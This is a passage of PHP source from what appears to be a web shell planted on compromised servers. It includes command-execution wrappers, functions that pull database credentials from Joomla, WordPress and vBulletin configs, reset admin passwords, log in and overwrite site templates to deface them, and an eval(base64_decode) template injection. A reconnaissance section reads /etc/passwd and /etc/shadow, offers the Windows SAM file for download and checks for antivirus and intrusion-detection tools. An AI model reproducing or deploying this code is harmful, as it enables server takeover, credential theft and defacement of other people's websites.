            elseif($safe=="shell_exec")
            {
                $ret=@shell_exec($cmd);
                return $ret;
            }
            elseif($safe=="popen")
            {
                $ret=@popen("$cmd",\'r\');
                if(is_resource($ret))
                {
                    while(@!feof($ret))
                    $read.=@fgets($ret);
                    @pclose($ret);
                    return $read;
                }
                return -1;
            }
            elseif($safe="proc_open")
            {
                $cmdpipe=array(
                0=>array(\'pipe\',\'r\'),
                1=>array(\'pipe\',\'w\')
                );
                $resource=@proc_open($cmd,$cmdpipe,$pipes);
                if(@is_resource($resource))
                {
                    while(@!feof($pipes[1]))
                    $ret.=@fgets($pipes[1]);
                    @fclose($pipes[1]);
                    @proc_close($resource);
                    return $ret;
                }
                return -1;
            }
			elseif($safe=="perl_func")
            {
                $ret=perlshell($command);
                return $ret;
            }
        }
    }
    return -1;
}
	function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
	{
    $ar0=explode($marqueurDebutLien, $text);
    $ar1=explode($marqueurFinLien, $ar0[$i]);
	return trim($ar1[0]);
	}
	function changeindexjo($conf,$h,$site)
	{
		global $defcount;
		$dol = \'$\';
		$sitename = entre2v2($conf,$dol."sitename = \'","\';");
		$username = entre2v2($conf,$dol."user = \'","\';");
		$password = entre2v2($conf,$dol."password = \'","\';");
		$dbname = entre2v2($conf,$dol."db = \'","\';");
		$prefix = entre2v2($conf,$dol."dbprefix = \'","\';");
		$localhost = entre2v2($conf,$dol."host = \'","\';");
		
		$co=randomt();
		
		$link=mysql_connect($localhost,$username,$password) ;
		mysql_select_db($dbname,$link);
				
	    $tryChaningInfo = mysql_query("UPDATE ".$prefix."users SET username =\'admin\' , password = \'2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX\'");
											 
		$req =mysql_query("SELECT * from  `".$prefix."extensions` ");
		 
		if ( $req )
		{
			$req =mysql_query("SELECT * from  `".$prefix."template_styles` WHERE client_id=\'0\' and home=\'1\'");
			$data = mysql_fetch_array($req);
			$template_name=$data["template"];
			
			$req =mysql_query("SELECT * from  `".$prefix."extensions` WHERE name=\'".$template_name."\'");
			 $data = mysql_fetch_array($req);
			$template_id=$data["extension_id"];
						
			$url2 = $site_url =$site."/administrator/index.php";
			
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 1);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			
			$buffer = curl_exec($ch);
				
			$return=entre2v2($buffer ,\'<input type="hidden" name="return" value="\',\'"\');
			$hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',4);
							
			$url2=$site_url."/index.php";
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			$buffer = curl_exec($ch);
			echo "<tr align =center>";
			echo \'<td>admin : 123456789</td>\';
			$pos = strpos($buffer,"com_config");
			if($pos === false) 
				echo("<td>[-] Login Error</td>");
			else
				echo("<td><font class=txt>[+] Login Success</font></td>");

			$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			$buffer = curl_exec($ch);
			
			$hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',2);
						
			$url2=$site_url."/index.php?option=com_templates&layout=edit";
					
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
						
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			$buffer = curl_exec($ch);

			$pos = strpos($buffer,\'<dd class="message message">\');
			if($pos === false) 
			{
				echo("<td><a href=http://".$site . ">".$site."</a></td><td>Cannot Defaced</td>");
			}
			else 
			{
				$defcount++;
				echo("<td><a href=http://".$site . ">".$site."</a></td><td><font class=txt>Joomla Defaced</font></td>");
			}
		}
		else
		{
			$req =mysql_query("SELECT * from  `".$dbprefix."templates_menu` WHERE client_id=\'0\'");
			$data = mysql_fetch_array($req);
			$template_name=$data["template"];
				
			$url2=$site_url."/index.php";
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 1);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			$buffer = curl_exec($ch);
						
			$hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',3);
				
			$url2=$site_url."/index.php";
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			$buffer = curl_exec($ch);
						
			$pos = strpos($buffer,"com_config");
			echo "<tr align =center>";
			echo \'<td>admin : 123456789</td>\';
			if($pos === false) 
				echo("<td>[-] Login Error</td>");
			else
				echo("<td><font class=txt>[+] Login Success</font></td>");
				
			$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			$buffer = curl_exec($ch);
						
			$hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',6);

			$url2=$site_url."/index.php?option=com_templates&layout=edit";
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			$buffer = curl_exec($ch);
						
			$pos = strpos($buffer,\'<dd class="message message fade">\');
			if($pos === false) 
			{
				echo("<td><a href=http://".$site . ">".$site."</a></td><td>Cannot Deface</td>");
			}
			else
			{
				$defcount++;
				echo("<td><a href=http://".$site . ">".$site."</a></td><td><font class=txt>Joomla Defaced</font></td>");
			}
		}
		echo "</tr>";
	}
	function changeindexvb($conf,$index)
	{
		$dol = \'$\';
					
		$username = entre2v2($conf,"[\'MasterServer\'][\'username\'] = \'","\';");
		$password = entre2v2($conf,"[\'MasterServer\'][\'password\'] = \'","\';");
		$dbname = entre2v2($conf,"se\'][\'dbname\'] = \'","\';");
		$prefix = entre2v2($conf,"[\'Database\'][\'tableprefix\'] = \'","\';");
		$localhost = entre2v2($conf,"[\'MasterServer\'][\'servername\'] = \'","\';");
			
		$con =@ mysql_connect($localhost,$username,$password); 
		$db =@ mysql_select_db($dbname,$con);
		$ss = mysql_query("SELECT * from  `".$prefix."setting` WHERE varname=\'bburl\'");
		$data = mysql_fetch_array($ss);
				
		echo "<tr align=center>";
		$index=str_replace(\'"\',\'\"\',$index); 
		$attack  = "{\${eval(base64_decode(\'"; 
		$attack .= base64_encode("echo \"$index\";"); 
		$attack .= "\'))}}{\${exit()}}</textarea>";
		$query = "UPDATE ".$prefix."template SET template = \'$attack\'"; 
		$result =@ mysql_query($query,$con); 
		if($result)
			echo "<td><a href=".$data["value"].">".$data["value"]."</a></td><td><font class=txt><blink>Vbulletin Forum Defaced Successfully</blink></font></td>";
		else
			echo "<td><a href=".$data["value"].">".$data["value"]."</a></td><td><blink>Cannot Deface Vbulletin Forum</blink></td>";
		echo "<tr>";
	}
	function changeindexwp($conf,$index)
	{
		$index = urlencode($index);
		$dol = \'$\';
		$username = entre2v2($conf,"define(\'DB_USER\', \'","\');");
		$password = entre2v2($conf,"define(\'DB_PASSWORD\', \'","\');");
		$dbname = entre2v2($conf,"define(\'DB_NAME\', \'","\');");
		$prefix = entre2v2($conf,$dol."table_prefix  = \'","\'");
		$host = entre2v2($conf,"define(\'DB_HOST\', \'","\');");
		$con =@ mysql_connect($host,$username,$password); 
		$db =@ mysql_select_db($dbname,$con);
		$req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = \'admin\',`user_pass` = \'$1$42REgxSR$.tLV4PSbQmCKsisyCSyhq.\'");
		
		if($req1) 
		{
			$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name=\'home\'");
			$data = mysql_fetch_array($req);
			$site_url=$data["option_value"];
			
			$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name=\'template\'");
			$data = mysql_fetch_array($req);
			$template = $data["option_value"];
	
			$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name=\'current_theme\'");
			$data = mysql_fetch_array($req);
			$current_theme = $data["option_value"];
	
			$useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
			$url2=$site_url."/wp-login.php";
	
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=123456789&rememberme=forever&wp-submit=Log In&testcookie=1");
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
			curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
			$buffer = curl_exec($ch);

			$pos = strpos($buffer,"action=logout");
			
			$url2=$site_url.\'/wp-admin/theme-editor.php?file=index.php&theme=\'.urlencode($template);
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
			curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
			$buffer0 = curl_exec($ch);
	
			$_wpnonce = entre2v2($buffer0,\'<input type="hidden" id="_wpnonce" name="_wpnonce" value="\',\'" />\');
			$_file = entre2v2($buffer0,\'<input type="hidden" name="file" value="\',\'" />\');

			if(substr_count($_file,"index.php") != 0)
			$output .= "<tr align =center>";
			$url2=$site_url."/wp-admin/theme-editor.php";
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$index."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
			curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
			$buffer = curl_exec($ch);
			curl_close($ch);
			$pos = strpos($buffer,\'<div id="message" class="updated">\');
			$cond = 0;
			if($pos === false)
				$output .= "<td><a href=".$site_url.">Site : ".$site_url."</a></td><td>Cannot Deface</td>";
			else
				$output .= "<td><a href=".$site_url.">Site : ".$site_url."</a></td><td><font class=txt>Wordpress Defaced Successfully</font></td>";
		} 
		else
			$output.= "<td colspan=2> DB Error</td>";
		echo $output."</tr>";
    	global $base_path;
    	unlink($base_path.\'COOKIE.txt\');
	}
	function getDisabledFunctions()
	{
		if(!ini_get(\'disable_functions\'))
		{
			return "None";
		}
		else
		{
				return @ini_get(\'disable_functions\');
		}
	}
	function getFilePermissions($file)
	{
	$perms = fileperms($file);
	
	if (($perms & 0xC000) == 0xC000) {
		// Socket
		$info = \'s\';
	} elseif (($perms & 0xA000) == 0xA000) {
		// Symbolic Link
		$info = \'l\';
	} elseif (($perms & 0x8000) == 0x8000) {
		// Regular
		$info = \'-\';
	} elseif (($perms & 0x6000) == 0x6000) {
		// Block special
		$info = \'b\';
	} elseif (($perms & 0x4000) == 0x4000) {
		// Directory
		$info = \'d\';
	} elseif (($perms & 0x2000) == 0x2000) {
		// Character special
		$info = \'c\';
	} elseif (($perms & 0x1000) == 0x1000) {
		// FIFO pipe
		$info = \'p\';
	} else {
		// Unknown
		$info = \'u\';
	}

	// Owner
	$info .= (($perms & 0x0100) ? \'r\' : \'-\');
	$info .= (($perms & 0x0080) ? \'w\' : \'-\');
	$info .= (($perms & 0x0040) ?
				(($perms & 0x0800) ? \'s\' : \'x\' ) :
				(($perms & 0x0800) ? \'S\' : \'-\'));
	
	// Group
	$info .= (($perms & 0x0020) ? \'r\' : \'-\');
	$info .= (($perms & 0x0010) ? \'w\' : \'-\');
	$info .= (($perms & 0x0008) ?
				(($perms & 0x0400) ? \'s\' : \'x\' ) :
				(($perms & 0x0400) ? \'S\' : \'-\'));
	
	// World
	$info .= (($perms & 0x0004) ? \'r\' : \'-\');
	$info .= (($perms & 0x0002) ? \'w\' : \'-\');
	$info .= (($perms & 0x0001) ?
				(($perms & 0x0200) ? \'t\' : \'x\' ) :
				(($perms & 0x0200) ? \'T\' : \'-\'));
	
	return $info;
}
	function filepermscolor($filename)
	{
		if(!@is_readable($filename)) 
			return "<font class=readperm>".getFilePermissions($filename)."</font>"; 
		else if(!@is_writable($filename)) 
			return "<font class=noperm>".getFilePermissions($filename)."</font>";
		else
			return "<font class=wrtperm>".getFilePermissions($filename)."</font>";
	}

	function yourip()
	{
		echo $_SERVER["REMOTE_ADDR"];
	}
	function phpver()
	{
		$pv=@phpversion();
		echo $pv;
	}
	function magic_quote()
	{
		echo get_magic_quotes_gpc()?"<font class=txt>ON</font>":"OFF";
	}
	function serverip()
	{
		echo @gethostbyname($_SERVER["HTTP_HOST"]);
	}
	function serverport()
	{
		echo $_SERVER[\'SERVER_PORT\'];
	}
	function  safe()
	{
		global $sm;
		return $sm?"ON :( :\'( (Most of the Features will Not Work!)":"OFF";
	}
	function serveradmin()
	{
		echo $_SERVER[\'SERVER_ADMIN\'];
	}
	function systeminfo()
	{
		echo php_uname();
	}
	function curlinfo()
	{
		echo function_exists(\'curl_version\')?("<font class=txt>Enabled</font>"):("Disabled");
	}
	function oracleinfo()
	{
		echo function_exists(\'ocilogon\')?("<font class=txt>Enabled</font>"):("Disabled");
	}
	function mysqlinfo()
	{
		echo function_exists(\'mysql_connect\')?("<font class=txt>Enabled</font>"):("Disabled");
	}
	function mssqlinfo()
	{
		echo function_exists(\'mssql_connect\')?("<font class=txt>Enabled</font>"):("Disabled");
	}
	function postgresqlinfo()
	{
		echo function_exists(\'pg_connect\')?("<font class=txt>Enabled</font>"):("Disabled");
	}
	function softwareinfo()
	{
		echo getenv("SERVER_SOFTWARE");
	}
	function download()
	{
		$frd=$_GET[\'download\'];
		$prd=explode("/",$frd);
		for($i=0;$i<sizeof($prd);$i++)
		{
			$nfd=$prd[$i];
		}
		@ob_clean(); 
	   header("Content-type: application/octet-stream"); 
	   header("Content-length: ".filesize($nfd)); 
	   header("Content-disposition: attachment; filename=\"".$nfd."\";"); 
   	   readfile($nfd);

   	   exit;
	
	}
		
	function HumanReadableFilesize($size)
    	{
        	$mod = 1024;
 		$units = explode(\' \',\'B KB MB GB TB PB\');
 	       for ($i = 0; $size > $mod; $i++) 
 	       {
 	           $size /= $mod;
 	       }
 	       return round($size, 2) . \' \' . $units[$i];
 	}
	
	function showDrives()
    {
        global $self;
        foreach(range(\'A\',\'Z\') as $drive)
        {
            if(is_dir($drive.\':\\'))
            {
				$myd = $drive.":\";
                ?>
                <a href=javascript:void(0) onClick="changedir(\'dir\',\'<?php echo addslashes($myd); ?>\')">
                    <?php echo $myd; ?>
                </a> 
                <?php
            }
        }
    }
	function diskSpace()
	{
		global $dir;
    	return disk_total_space($dir);
	}	
	function freeSpace()
	{
 	   global $dir;
		return disk_free_space($dir);
	}
	
	function thiscmd($p) 
	{
		$path = myexe(\'which \' . $p);
		if(!empty($path))
			return $path;
		return false;
	}

	function mysecinfo()
	{
		function myparam($n, $v) 
		{
			$v = trim($v);
			if($v) 
			{
				echo \'<span><font size=3>\' . $n . \': </font></span>\';
				if(strpos($v, "
") === false)
					echo \'<font class=txt size=3>\' . $v . \'</font><br>\';
				else
					echo \'<pre class=ml1><font class=txt size=3>\' . $v . \'</font></pre>\';
			}
		}
	
		myparam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
		if(function_exists(\'apache_get_modules\'))
			myparam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));
		myparam(\'Open base dir\', @ini_get(\'open_basedir\'));
		myparam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
		myparam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
		$temp=array();
		if(function_exists(\'mysql_get_client_info\'))
			$temp[] = "MySql (".mysql_get_client_info().")";
		if(function_exists(\'mssql_connect\'))
			$temp[] = "MSSQL";
		if(function_exists(\'pg_connect\'))
			$temp[] = "PostgreSQL";
		if(function_exists(\'oci_connect\'))
			$temp[] = "Oracle";
		myparam(\'Supported databases\', implode(\', \', $temp));
		echo \'<br>\';
	
		if($GLOBALS[\'os\'] == \'Linux\') {
				myparam(\'Distro : \', myexe("cat /etc/*-release")); 
				myparam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=javascript:void(0) onClick=\"getmydata(\'passwd\')\">[view]</a>":\'no\');
				myparam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=javascript:void(0) onClick=\"getmydata(\'shadow\')\">[view]</a>":\'no\');
				myparam(\'OS version\', @file_get_contents(\'/proc/version\'));
				myparam(\'Distro name\', @file_get_contents(\'/etc/issue.net\'));
				myparam(\'Where is Perl?\', myexe(\'whereis perl\'));
				myparam(\'Where is Python?\', myexe(\'whereis python\'));
				myparam(\'Where is gcc?\', myexe(\'whereis gcc\'));
				myparam(\'Where is apache?\', myexe(\'whereis apache\'));
				myparam(\'CPU?\', myexe(\'cat /proc/cpuinfo\'));
				myparam(\'RAM\', myexe(\'free -m\'));
				myparam(\'Mount options\', myexe(\'cat /etc/fstab\'));
				myparam(\'User Limits\', myexe(\'ulimit -a\'));
				
				
				if(!$GLOBALS[\'safe_mode\']) {
					$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
					$danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
					$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
					echo \'<br>\';
					$temp=array();
					foreach ($userful as $item)
						if(thiscmd($item))
							$temp[] = $item;
					myparam(\'Userful\', implode(\', \',$temp));
					$temp=array();
					foreach ($danger as $item)
						if(thiscmd($item))
							$temp[] = $item;
					myparam(\'Danger\', implode(\', \',$temp));
					$temp=array();
					foreach ($downloaders as $item)
						if(thiscmd($item))
							$temp[] = $item;
					myparam(\'Downloaders\', implode(\', \',$temp));
					echo \'<br/>\';
					myparam(\'HDD space\', myexe(\'df -h\'));
					myparam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
					
				}
		} else {
			$repairsam = addslashes($_SERVER["WINDIR"]."\repair\sam");
			$hostpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\hosts");
			$netpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\networks");
			$sampath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\lmhosts.sam");
			echo "<font  size=3>Password File : </font><a href=".$_SERVER[\'PHP_SELF\']."?download=" . $repairsam ."><b><font class=txt size=3>Download password file</font></b></a><br>";
			echo "<font  size=3>Config Files :  </font><a href=javascript:void(0) onClick=\"fileaction(\'open\',\'$hostpath\')\"><b><font class=txt size=3>[ Hosts ]</font></b></a> &nbsp;<a href=javascript:void(0) onClick=\"fileaction(\'open\',\'$netpath\')\"><b><font class=txt size=3>[ Local Network Map ]</font></b></a> &nbsp;<a href=javascript:void(0) onClick=\"fileaction(\'open\',\'$sampath\')\"><b><font class=txt size=3>[ lmhosts ]</font></b></a><br>";
			$base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
			echo "<font  size=3>Open Base Dir : </font><font class=txt size=3>" . $base . "</font><br>";
			myparam(\'OS Version\',myexe(\'ver\'));
			myparam(\'Account Settings\',myexe(\'net accounts\'));
			myparam(\'User Accounts\',myexe(\'net user\'));
		}
		echo \'</div>\';
	}
	
	
	
	function myexe($in) 
	{
	$out = \'\';
	if (function_exists(\'exec\')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists(\'passthru\')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists(\'system\')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists(\'shell_exec\')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}
function exec_all($command)
	{
    
    $output = \'\';
    if(function_exists(\'exec\'))
    {   
        exec($command,$output);
        $output = join("
",$output);
    }
    
    else if(function_exists(\'shell_exec\'))
    {
        $output = shell_exec($command);
    }
    
    else if(function_exists(\'popen\'))
    {
        $handle = popen($command , "r"); // Open the command pipe for reading
        if(is_resource($handle))
        {
            if(function_exists(\'fread\') && function_exists(\'feof\'))
            {
                while(!feof($handle))
                {
                    $output .= fread($handle, 512);
                }
            }
            else if(function_exists(\'fgets\') && function_exists(\'feof\'))
            {
                while(!feof($handle))
                {
                    $output .= fgets($handle,512);
                }



            }
        }
        pclose($handle);
    }
    
    
    else if(function_exists(\'system\'))
    {
        ob_start(); //start output buffering
        system($command);
        $output = ob_get_contents();    // Get the ouput 
        ob_end_clean();                 // Stop output buffering
    }
    
    else if(function_exists(\'passthru\'))
    {
        ob_start(); //start output buffering
        passthru($command);
        $output = ob_get_contents();    // Get the ouput 
        ob_end_clean();                 // Stop output buffering            
    }
    
    else if(function_exists(\'proc_open\'))
    {
        $descriptorspec = array(
                1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
                );
        $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array \'pipes\'
        if(is_resource($handle))
        {
            if(function_exists(\'fread\') && function_exists(\'feof\'))
            {
                while(!feof($pipes[1]))
                {
                    $output .= fread($pipes[1], 512);
                }
            }
            else if(function_exists(\'fgets\') && function_exists(\'feof\'))
            {
                while(!feof($pipes[1]))
                {
                    $output .= fgets($pipes[1],512);
                }
            }
        }
        pclose($handle);
    }
    
    return(htmlspecialchars($output));
    
}

$basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"<font class=txt>ON</font>":"OFF";
$etc_passwd=@is_readable("/etc/passwd")?"Yes":"No";

function getOGid($value)
{
	if(!function_exists(\'posix_getegid\')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
		$owner = $uid . "/". $gid;
		return $owner;
	} else {
		$name=@posix_getpwuid(@fileowner($value)); 
		$group=@posix_getgrgid(@filegroup($value)); 
		$owner = $name[\'name\']. " / ". $group[\'name\']; 
		return $owner;
	}
}
if(!function_exists("scandir")) 
{
	function scandir($dir) {
		$dh  = opendir($dir);
		while (false !== ($filename = readdir($dh)))
    		$files[] = $filename;
		return $files;
	}
}
function mainfun($dir)
{
	global $ind, $directorysperator,$os;
	
	$mydir = basename(dirname(__FILE__));
	$pdir = str_replace($mydir,"",$dir);
	$pdir = str_replace("/","",$dir);
	
	$files = array();
	$dirs  = array();
	
	 $odir=opendir($dir);
	 while($file = readdir($odir))
	 {
	   if(is_dir($dir.\'/\'.$file))
	   {
		 $dirs[]=$file;
	   }
	   else
	   {
		 $files[]=$file;
	   }
	 }
	 $countfiles = count($dirs) + count($files);
	 $dircount = count($dirs); 
	 $dircount = $dircount-2;
	 $myfiles = array_merge($dirs,$files);
	$i = 0;
	if(is_dir($dir))
   	{
		if(scandir($dir) === false)
			echo "<center><font  size=3>Directory isn\'t readable</font></center>";
		else
		{
?><form method="post" id="myform" name="myform">
	<table id="maintable" style="width:100%;" align="center" cellpadding="3">
	<tr><td colspan="7"><center><div id="showmydata"></div></center></td></tr>
	<tr><td colspan="8" align="center"><font  size="3">Listing folder <?php echo $dir; ?></font> (<?php echo $dircount.\' Dirs And \'.count($files).\' Files\'; ?>)</td>
    <tr height:12px;">
        <th>Name</th>
        <th>Size</th>
        <th>Permissions</th>
	<?php if($os != "Windows"){ echo "<th>Owner / Group</th>"; } ?>
	<th>Modification Date</th>
        <th>Rename</th>
		<th>Download</th>
		<th style="width:2%;">Action</th>
    </tr>
	<?php
		foreach($myfiles as $val)
		{
			$vv = addslashes($dir . $directorysperator . $val);
			$i++;
			if($val == ".")
			{
				?><tr class=lines><td><a href=javascript:void(0) onClick="changedir(\'dir\',\'<?php echo addslashes($dir); ?>\')"><font class=txt>[ . ]</font></a></td><td><font size=2>CURDIR</font></td>
			<td><a href=javascript:void(0) onClick="fileaction(\'perms\',\'<?php echo $vv; ?>\')"><?php echo filepermscolor($dir); ?></a></td>
			
			<?php if($os != \'Windows\')
				  { 
				    echo "<td align=center><font size=2>";
				  	echo getOGid($dir)."</font></td>";
				  }
					 ?>
			
			<td align="center"><font class=txt><?php echo date(\'Y-m-d H:i:s\', @filemtime($vv)); ?></font></td>
			<td></td><td></td><td></td></</tr><?php 
			
			}
			else if($val == "..")
			{ 
				$val = Trail($dir . $directorysperator . $val,$directorysperator);
				$vv = addslashes($val);
				if(empty($vv))
					$vv = "/"; ?>
			<tr class=lines><td class=\'info\'><a href=javascript:void(0) onClick="changedir(\'dir\',\'<?php echo $vv; ?>\')"><font class=txt>[ .. ]</font></a></td><td><font size=2>UPDIR</font></td>
			<td><a href=javascript:void(0) onClick="fileaction(\'perms\',\'<?php echo $vv; ?>\')"><?php echo filepermscolor($val); ?></a></td>
			<?php 	if($os != \'Windows\')
					{
					echo "<td align=center><font size=2>"; 
					echo getOGid($val)."</font></td>";
					
					}  ?>
			<td align="center"><font  class=txt><?php echo date(\'Y-m-d H:i:s\', @filemtime($val)); ?></font></td>
			<td></td><td></td><td></td></tr><?php continue;
			}
		}	
